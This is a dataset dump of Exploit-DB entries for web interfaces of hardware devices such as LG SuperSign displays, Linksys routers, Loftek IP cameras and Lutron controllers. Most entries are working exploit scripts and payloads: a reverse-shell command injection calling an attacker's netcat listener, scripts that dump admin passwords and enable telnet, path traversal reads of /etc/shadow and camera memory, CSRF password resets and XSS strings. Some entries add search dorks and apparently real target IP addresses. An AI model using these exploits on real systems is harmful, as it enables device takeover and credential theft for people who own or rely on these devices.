deardaniel/secdata-raw huggingface dataset:
Exploit-DB #45440
Description: LG SuperSign EZ CMS 2.5 - Local File Inclusion
Type: webapps
Platform: hardware
Date: 2018-09-19
Author: Alejandro Fanjul

Exploit:
# Exploit Title: LG SuperSign EZ CMS 2.5 - Local File Inclusion
# Date: 2018-09-13
# Exploit Author: Alejandro Fanjul
# Vendor Homepage: https://www.lg.com/ar/software-lg-supersign
# Version: SuperSign EZ (CMS)
# Tested on: Web OS 4.0
# CVE : CVE-2018-16288

# More info: http://mamaquieroserpentester.blogspot.com/2018/09/multiple-vulnerabilities-in-lg.html
# Any user can read files from the TV, without authentication due to an existing LFI in the following path:

# http://SuperSign_IP:9080/signEzUI/playlist/edit/upload/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../etc/passwd

# PoC

import requests
import re
from argparse import ArgumentParser

parser = ArgumentParser(description="SuperSign Reboot")
parser.add_argument("-t", "--target", dest="target",
                        help="Target")
parser.add_argument("-p", "--path", dest="filepath",
                        help="path to the file you want to read")

args = parser.parse_args()
path = args.filepath

s = requests.get('http://'+ str(args.target).replace('\n', '') +'/signEzUI/playlist/edit/upload/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..'+str(path))
print s.text
Exploit-DB #45448
Description: LG SuperSign EZ CMS 2.5 - Remote Code Execution
Type: webapps
Platform: hardware
Date: 2018-09-24
Author: Alejandro Fanjul

Exploit:
# Exploit Title: LG SuperSign EZ CMS 2.5 - Remote Code Execution
# Date: 2018-09-18
# Exploit Author: Alejandro Fanjul
# Vendor Homepage:https://www.lg.com
# Software Link: https://www.lg.com/ar/software-lg-supersign
# Version: SuperSignEZ 1.3
# Tested on: LG WebOS 3.10
# CVE : CVE-2018-17173

# 1. Description
# LG SuperSignEZ CMS, that many LG SuperSign TVs have built in, is prone
# to remote code execution due to an improper parameter handling

# 2. Proof of concept
# Code to exploit the vulnerability

import requests
from argparse import ArgumentParser

parser = ArgumentParser(description="SuperSign RCE")
parser.add_argument("-t", "--target", dest="target",
                        help="Target")
parser.add_argument("-l", "--lhost", dest="lhost",
                        help="lhost")
parser.add_argument("-p", "--lport", dest="lport",
                        help="lport")

args = parser.parse_args()

#LG SupersignEZ always run in port 9080, so in target you must type: #LG_SuperSign_IP:9080
#Example
#supersign-exploit.py -t LG_SuperSign_IP:9080 -l attacker_ip -p 4444
#In the attacker machine wait for the shell with nc -lvp 4444
#enjoy your shell

s = requests.get('[http://'+](http://%27+/) str(args.target).replace('\n', '') +'/qsr_server/device/getThumbnail?sourceUri=\'%20-;rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%20'+str(args.lhost)+'%20'+str(args.lport)+'%20%3E%2Ftmp%2Ff;\'&targetUri=%2Ftmp%2Fthumb%2Ftest.jpg&mediaType=image&targetWidth=400&targetHeight=400&scaleType=crop&_=[PII_REDACTED]50')
Exploit-DB #51035
Description: Linksys AX3200 V1.1.00 - Command Injection
Type: webapps
Platform: hardware
Date: 2023-03-22
Author: Ahmed Alroky

Exploit:
# Exploit Title: Linksys AX3200 V1.1.00 - Command Injection
# Date: 2022-09-19
# Exploit Author: Ahmed Alroky
# Author: Linksys
# Version: 1.1.00
# Authentication Required: YES
# CVE : CVE-2022-38841

# Tested on: Windows

# Proof Of Concept:

1 - login into AX3200 webui
2 - go to diagnostics page
3 - put "google.com|ls" to perform a traceroute
4 - you will get the file list and also you can try "example.com|id" to ensure that all commands executed as a root user
Exploit-DB #49708
Description: Linksys EA7500 2.0.8.194281 - Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2021-03-25
Author: MiningOmerta

Exploit:
# Exploit Title: Linksys EA7500 2.0.8.194281 - Cross-Site Scripting 
# Date: 3/24/21
# Exploit Author: MiningOmerta
# Vendor Homepage: https://www.linksys.com/
# Version: EA7500 Firmware Version: 2.0.8.194281
# CVE: CVE-2012-6708
# Tested On: Linksys EA7500 (jQuery version 1.7.1)

# Cross-Site Scripting Vulnerability on modern versions of Linksys Smart-Wifi home routers. 
# Caused by outdated jQuery(strInput) version : <= 1.7.1  (Fixed in version 1.9.0)
# Credit also to Reddit user michael1026

###
POC
###

1. When logging into the router (http://LHOST or http://LHOST:10080), choose "Click Here" 
   next to "Dont Have an Account? " or Choose "click here" after "To login with your Linksys Smart Wi-Fi account", 
   you will be redirected with a login prompt with both Email Address and Password forms. 

2. Make your email address "<img src=0 onerror=alert(XSS)>" without the double quotes. 

3. Payload will be triggered when mouse is clicked anywhere within the Email Address form box or when form is submitted.
Exploit-DB #49270
Description: Linksys RE6500 1.0.11.001 - Unauthenticated RCE
Type: webapps
Platform: hardware
Date: 2020-12-17
Author: RE-Solver

Exploit:
# Exploit Title: Linksys RE6500 1.0.11.001 - Unauthenticated RCE
# Date: 31/07/2020
# Exploit Author: RE-Solver
# Public disclosure: https://resolverblog.blogspot.com/2020/07/linksys-re6500-unauthenticated-rce-full.html#4
# Vendor Homepage: www.linksys.com
# Version:  FW V1.05 up to FW v1.0.11.001
# Tested on: FW V1.05 up to FW v1.0.11.001
# Linksys RE6500 V1.0.05.003 and newer - Unauthenticated RCE
# Unsanitized user input in the web interface for Linksys WiFi extender RE6500 allows Unauthenticated remote command execution. 
# An attacker can access system OS configurations and commands that are not intended for use beyond the web UI. 

#!/usr/bin/env python

from requests import Session
import requests
import os
print("Linksys RE6500, RE6500 - Unsanitized user input allows Unauthenticated remote command execution.")
print("Tested on FW V1.05 up to FW v1.0.11.001")
print("RE-Solver @solver_re")
ip="192.168.1.226"

command="nvram_get Password >/tmp/lastpwd"
#save device password;
post_data="admuser=admin&admpass=;"+command+";&admpasshint=61646D696E=&AuthTimeout=600&wirelessMgmt_http=1"
url_codeinjection="http://"+ip+"/goform/setSysAdm"
s = requests.Session()
s.headers.update({'Origin': "http://"+ip})
s.headers.update({'Referer': "http://"+ip+"/login.shtml"})

r= s.post(url_codeinjection, data=post_data)
if r.status_code == 200:
    print("[+] Prev password saved in /tmp/lastpwd")

command="busybox telnetd"
#start telnetd;
post_data="admuser=admin&admpass=;"+command+";&admpasshint=61646D696E=&AuthTimeout=600&wirelessMgmt_http=1"
url_codeinjection="http://"+ip+"/goform/setSysAdm"
s = requests.Session()
s.headers.update({'Origin': "http://"+ip})
s.headers.update({'Referer': "http://"+ip+"/login.shtml"})

r=s.post(url_codeinjection, data=post_data)
if r.status_code == 200:
    print("[+] Telnet Enabled")

#set admin password
post_data="admuser=admin&admpass=[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]&confirmadmpass=admin&admpasshint=61646D696E=&AuthTimeout=600&wirelessMgmt_http=1"
url_codeinjection="http://"+ip+"/goform/setSysAdm"
s = requests.Session()
s.headers.update({'Origin': "http://"+ip})
s.headers.update({'Referer': "http://"+ip+"/login.shtml"})
r=s.post(url_codeinjection, data=post_data)
if r.status_code == 200:
    print("[+] Prevent corrupting nvram - set a new password= admin")
Exploit-DB #43363
Description: Linksys WVBR0 - 'User-Agent' Remote Command Injection
Type: webapps
Platform: hardware
Date: 2017-12-14
Author: nixawk

Exploit:
#!/usr/bin/python
# -*- coding: utf-8 -*-

# Author: Nixawk
# CVE-2017-17411
# Linksys WVBR0 25 Command Injection

"""
$ python2.7 exploit-CVE-2017-17411.py
[*] Usage: python exploit-CVE-2017-17411.py <URL>

$ python2.7 exploit-CVE-2017-17411.py http://example.com/
[+] Target is exploitable by CVE-2017-17411
"""

import requests


def check(url):
    payload = '"; echo "admin'
    md5hash = "456b7016a916a4b178dd72b947c152b7"  # echo "admin" | md5sum

    resp = send_http_request(url, payload)

    if not resp:
        return False

    lines = resp.text.splitlines()
    sys_cmds = filter(lambda x: "config.webui sys_cmd" in x, lines)

    if not any([payload in sys_cmd for sys_cmd in sys_cmds]):
        return False

    if not any([md5hash in sys_cmd for sys_cmd in sys_cmds]):
        return False

    print("[+] Target is exploitable by CVE-2017-17411 ")
    return True


def send_http_request(url, payload):
    headers = {
        'User-Agent': payload
    }

    response = None
    try:
        response = requests.get(url, headers=headers)
    except Exception as err:
        log.exception(err)

    return response


if __name__ == '__main__':
    import sys

    if len(sys.argv) != 2:
        print("[*] Usage: python %s <URL>" % sys.argv[0])
        sys.exit(0)

    check(sys.argv[1])


# google dork: "Vendor:LINKSYS ModelName:WVBR0-25-US"

## References

# https://www.thezdi.com/blog/2017/12/13/remote-root-in-directvs-wireless-video-bridge-a-tale-of-rage-and-despair
# https://thehackernews.com/2017/12/directv-wvb-hack.html
Exploit-DB #27878
Description: Loftek Nexus 543 IP Cameras - Multiple Vulnerabilities
Type: webapps
Platform: hardware
Date: 2013-08-26
Author: Craig Young

Exploit:
CSRF:

<HTML><TITLE>Loftek Nexus 543 CSRF PoC</TITLE>
<IMG SRC="http://ip-camera-address/set_users.cgi?next_url=rebootme.htm&user1=admin&pwd1=password&pri1=2&user2=anon&pwd2=password&pri2=0&user3=&pwd3=&pri3=1&user4=&pwd4=&pri4=0&user5=&pwd5=&pri5=0&user6=&pwd6=&pri6=0&user7=&pwd7=&pri7=0&user8=&pwd8=&pri8=0" ALT="Your password has been reset to admin/password">
</HTML>


Memory Dump:

#!/bin/sh
# This script exploits CVE-2013-3311 to retrieve kernel memory from a Loftek Nexus 543 IP camera
# The file which is downloaded can be analyzed (strings) to recover passwords and other goodies


if [[ "$1x" != "x" && "$2x" != "x" ]]; then
	curl http://$1/../proc/kcore -o $2 
	exit
fi
echo "Usage: $0 Nexus-543-IP output_file" 

WiFi Creds:


#!/bin/sh
# This script exploits CVE-2013-3314 to retrieve wifi credentials from a Loftek Nexus 543 IP camera

if [ "$1x" != "x" ]; then
	curl http://$1/../etc/RT2870STA.dat
	exit
fi
echo "Usage: $0 Nexus-543-IP"
Exploit-DB #50163
Description: Longjing Technology BEMS API 1.21 - Remote Arbitrary File Download
Type: webapps
Platform: hardware
Date: 2021-07-29
Author: LiquidWorm

Exploit:
# Exploit Title: Longjing Technology BEMS API 1.21 - Remote Arbitrary File Download
# Date: 05.07.2021
# Exploit Author: LiquidWorm
# Vendor Homepage: http://www.ljkj2012.com

Longjing Technology BEMS API 1.21 Remote Arbitrary File Download


Vendor: Longjing Technology
Product web page: http://www.ljkj2012.com
Affected version: 1.21

Summary: Battery Energy Management System.

Desc: The application suffers from an unauthenticated arbitrary
file download vulnerability. Input passed through the fileName
parameter through downloads endpoint is not properly verified
before being used to download files. This can be exploited to
disclose the contents of arbitrary and sensitive files through
directory traversal attacks.

Tested on: nginx/1.19.1


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5657
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5657.php


05.07.2021

--


$ curl -sk https://10.0.0.8/api/downloads?fileName=../../../../../../../../etc/shadow

root:*:18477:0:99999:7:::
daemon:*:18477:0:99999:7:::
bin:*:18477:0:99999:7:::
sys:*:18477:0:99999:7:::
sync:*:18477:0:99999:7:::
games:*:18477:0:99999:7:::
man:*:18477:0:99999:7:::
lp:*:18477:0:99999:7:::
mail:*:18477:0:99999:7:::
news:*:18477:0:99999:7:::
uucp:*:18477:0:99999:7:::
proxy:*:18477:0:99999:7:::
www-data:*:18477:0:99999:7:::
backup:*:18477:0:99999:7:::
list:*:18477:0:99999:7:::
irc:*:18477:0:99999:7:::
gnats:*:18477:0:99999:7:::
nobody:*:18477:0:99999:7:::
_apt:*:18477:0:99999:7:::


$ curl -sk https://10.0.0.8/api/downloads?fileName=../../../../../../../../etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
Exploit-DB #44488
Description: Lutron Quantum 2.0 - 3.2.243 - Information Disclosure
Type: webapps
Platform: hardware
Date: 2018-04-18
Author: SadFud

Exploit:
'''

# Exploit Title: Login bypass and data leak - Lutron Quantum 2.0 - 3.2.243 firmware
# Date: 20-03-2018
# Exploit Author: David Castro
# Contact: https://twitter.com/SadFud75
# Vendor Homepage: http://www.lutron.com
# Software Link: http://www.lutron.com/en-US/Products/Pages/WholeBuildingSystems/Quantum/Overview.aspx
# Version: Lutron Quantum 2.0 - 3.2.243 firmware
# CVE : CVE-2018-8880
# Shodan dork: html:"<h1>LUTRON</h1>"

Python 2.7 Output:

Leaking data from HOST
[+] Device info:

MAC: 000FE702A999
PRODUCT FAMILY: Gulliver
PRODUCT TYPE: Processor
SERIAL NUMBER: 007B24B4
GUID: 0DFB959BD0D8784DA9501B958F099779
CODE VERSION: 7.5.0

[+] Network info:

INTERNAL IP: 192.168.0.2
SUBNET MASK: 255.255.255.0
GATEWAY: 192.168.0.1
TELNET PORT: 23
FTP PORT: 21
REMOTE PORT: 51023

[+] Done.

'''


import requests
from bs4 import BeautifulSoup

ip = raw_input("Enter target ip: ")
port = raw_input("Enter target port: ")

print 'Leaking data from ' + 'http://' + ip + ":" + port
r = requests.get('http://' + ip + ":" + port + '/deviceIP')
resultado = r.text
parseado = BeautifulSoup(resultado, "lxml")

print '[+] Device info:'
print ''
print 'MAC: ' + parseado.find('input', {'name': 'MacAddr'}).get('value')
print 'PRODUCT FAMILY: ' + parseado.find('input', {'name': 'PRODFAM'}).get('value')
print 'PRODUCT TYPE: ' + parseado.find('input', {'name': 'PRODTYPE'}).get('value')
print 'SERIAL NUMBER: ' + parseado.find('input', {'name': 'SERNUM'}).get('value')
print 'GUID: ' + parseado.find('input', {'name': 'GUID'}).get('value')
print 'CODE VERSION: ' + parseado.find('input', {'name': 'CODEVER'}).get('value')
print ''
print '[+] Network info:'
print ''
print 'INTERNAL IP: ' + parseado.find('input', {'name': 'IPADDR'}).get('value')
print 'SUBNET MASK: ' + parseado.find('input', {'name': 'SUBNETMK'}).get('value')
print 'GATEWAY: ' + parseado.find('input', {'name': 'GATEADDR'}).get('value')
print 'TELNET PORT: ' + parseado.find('input', {'name': 'TELPORT'}).get('value')
print 'FTP PORT: ' + parseado.find('input', {'name': 'FTPPORT'}).get('value')
print 'REMOTE PORT: ' + parseado.find('input', {'name': 'REMOTEPORT'}).get('value')
print ''
print '[+] Done.'
print ''
Exploit-DB #51315
Description: MAC 1200R - Directory Traversal
Type: webapps
Platform: hardware
Date: 2023-04-07
Author: Chunlei Shang_ Jiangsu Public Information Co._ Ltd.

Exploit:
# Exploit Title: MAC 1200R - Directory Traversal
# Google Dork: "MAC1200R" && port="8888"
# Date: 2023/03/09
# Exploit Author: Chunlei Shang, Jiangsu Public Information Co., Ltd.
# Vendor Homepage: https://www.mercurycom.com.cn/
# Software Link: https://www.mercurycom.com.cn/product-1-1.html
# Version: all versions. (REQUIRED)
# Tested on: all versions.
# CVE : CVE-2021-27825

1. Attackers can easily find the targets through various search engines with keywords "MAC1200R" && port="8888". 
2. Open the affected website like "http://IP:8888/web-static/".
3. For example:
1）http://60.251.151.2:8888/web-static/
    
2）http://222.215.15.70:8888/web-static/
Exploit-DB #35933
Description: ManageEngine Firewall Analyzer 8.0 - Directory Traversal / Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2015-01-29
Author: Ertebat Gostar Co

Exploit:
 ################################################################################################
 #                                                                                              #
 #    ...:::::ManageEngine Firewall Analyzer Directory Traversal/XSS  Vulnerabilities::::....   #         
 # #############################################################################################


                                  Sobhan System Network & Security Group (sobhansys)
								      
-------------------------------------------------------
# Date: 2015-01-28
# Exploit Author: AmirHadi Yazdani (Sobhansys Co)
# Vendor Homepage: http://www.manageengine.com/products/firewall/
# Demo Link: http://demo.fwanalyzer.com/
#Affected version: <= Build Version  : 8.0

About ManageEngine Firewall Analyzer (From Vendor Site) :	
								  
ManageEngine Firewall Analyzer is an agent less log analytics and configuration management software
that helps network administrators to centrally collect, archive, analyze 
their security device logs and generate forensic reports out of it.
--------------------------------------------------------

									  
I'M hadihadi From Virangar Security Team

special tnx to:MR.nosrati,black.shadowes,MR.hesy
& all virangar members & all hackerz

greetz to My friends In Signal IT Group (www.signal-net.net) & A.Molaei

spl:Z.Khodaee

-------
exploit:

Diretory Traversal :

http://127.0.0.1/fw/mindex.do?url=./WEB-INF/web.xml%3f
http://127.0.0.1/fw/index2.do?completeData=true&helpP=archiveAction&tab=system&url=./WEB-INF/web.xml%3f
http://127.0.0.1/fw/index2.do?helpP=fim&link=0&sel=13&tab=system&url=./WEB-INF/web.xml%3f

XSS :

http://127.0.0.1/fw/index2.do?completeData=true&url=importedLogDetails" onmouseover%3dprompt(902321) bad%3d"

----
Sobhan system Co.
Signal Network And Security Group (www.signal-net.net)

E-mail: amirhadi.yazdani@gmail.com,a.h.yazdani@signal-net.net
Exploit-DB #12092
Description: McAfee Email Gateway (formerly IronMail) - Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2010-04-06
Author: Nahuel Grisolia

Exploit:
Advisory Name: Multiple Reflected Cross-Site Scripting (XSS) in McAfee Email Gateway (formerly
IronMail)
Vulnerability Class: Reflected Cross-Site Scripting (XSS)
Release Date: Tue Apr 6, 2010
Affected Applications: Secure Mail (Ironmail) ver.6.7.1
Affected Platforms: FreeBSD 6.2 / Apache-Coyote 1.1
Local / Remote: Remote
Severity: Medium – CVSS: 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Researcher: Nahuel Grisolía

Vendor Status: Official Patch Released. Install McAfee Email Gateway 6.7.2 Hotfix 2.
Reference to Vulnerability Disclosure Policy: http://www.cybsec.com/vulnerability_policy.pdf

Vulnerability Description:
Multiple Reflected Cross Site Scripting vulnerabilities were found in Ironmail's Web Access console,
because the application fails to sanitize user-supplied input. The vulnerabilities can be triggered by any
logged-in user.

Download:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/12092.pdf (cybsec_advisory_2010_0402.pdf)
Exploit-DB #51542
Description: MCL-Net 4.3.5.8788 - Information Disclosure
Type: webapps
Platform: hardware
Date: 2023-06-23
Author: Victor A. Morales

Exploit:
# Exploit Title: MCL-Net 4.3.5.8788 - Information Disclosure
# Date: 5/31/2023
# Exploit Author: Victor A. Morales, GM Sectec Inc.
# Vendor Homepage: https://www.mcl-mobilityplatform.com/net.php
# Version: 4.3.5.8788 (other versions may be affected)
# Tested on: Microsoft Windows 10 Pro
# CVE: CVE-2023-34834

Description:
Directory browsing vulnerability in MCL-Net version 4.3.5.8788 webserver running on default port 5080, allows attackers to gain sensitive information about the configured databases via the "/file" endpoint.

Steps to reproduce:
1. Navigate to the webserver on default port 5080, where "Index of Services" will disclose directories, including the "/file" directory. 
2. Browse to the "/file" directory and database entry folders configured
3. The "AdoInfo.txt" file will contain the database connection strings in plaintext for the configured database. Other files containing database information are also available inside the directory.
Exploit-DB #39184
Description: MediaAccess TG788vn - File Disclosure
Type: webapps
Platform: hardware
Date: 2016-01-06
Author: 0x4148

Exploit:
Vulnerable hardware : MediaAccess TG788vn with Cisco http firewall
Author : Ahmed Sultan (0x4148)
Email : 0x4148@gmail.com

MediaAccess TG788vn with Cisco firewall http config is vulnerable to
critical unauthenticated file disclosure flaw,

POC

Request:
POST /scgi-bin/platform.cgi HTTP/1.1
Host: xx.xx.xx.xx
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://xx.xx.xx.xx/scgi-bin/platform.cgi
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 164

button.login.home=Se%20connecter&Login.userAgent=0x4148_Fu&reload=0&SSLVPNUser.[CREDENTIAL_REDACTED].UserName=0x4148&thispage=../../../../../../etc/passwd%00

Response:
HTTP/1.0 200 OK
Date: Sat, 01 Jan 2011 00:00:45 GMT
Server: Embedded HTTP Server.
Connection: close

loic_ipsec:x:500:500:xauth:/:/bin/cli

the http server is running with root privileges , which mean that the
attacker might escalate the exploit for further critical attacks
Exploit-DB #10247
Description: Micronet SP1910 Data Access Controller UI - Cross-Site Scripting / HTML Code Injection
Type: webapps
Platform: hardware
Date: 2009-11-27
Author: K053

Exploit:
# Exploit: XSS & Html code injection in Micronet SP1910 data access controller UI
# Date: 27-11-2009
# Author: K053
# Vendor: http://www.micronet.info/model_detail.aspx?series_no=6&sno=472
# Tested on : Private Networks

------------------------------------------------------------------------------------
Note :

Micronet introduces an exciting new product—SP1910 Network Access Controller. It is 
specially designed for secure wired and wireless network environments of small or 
medium companies. Micronet UI is vulnerable to xss attack .

Attacker able to steal users credential and disconnect them .

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-

POC :

you can spot xss any page , 

http://server/loginpages/error_user.shtml?uname=userid&msg=<script>alert('xss')</script>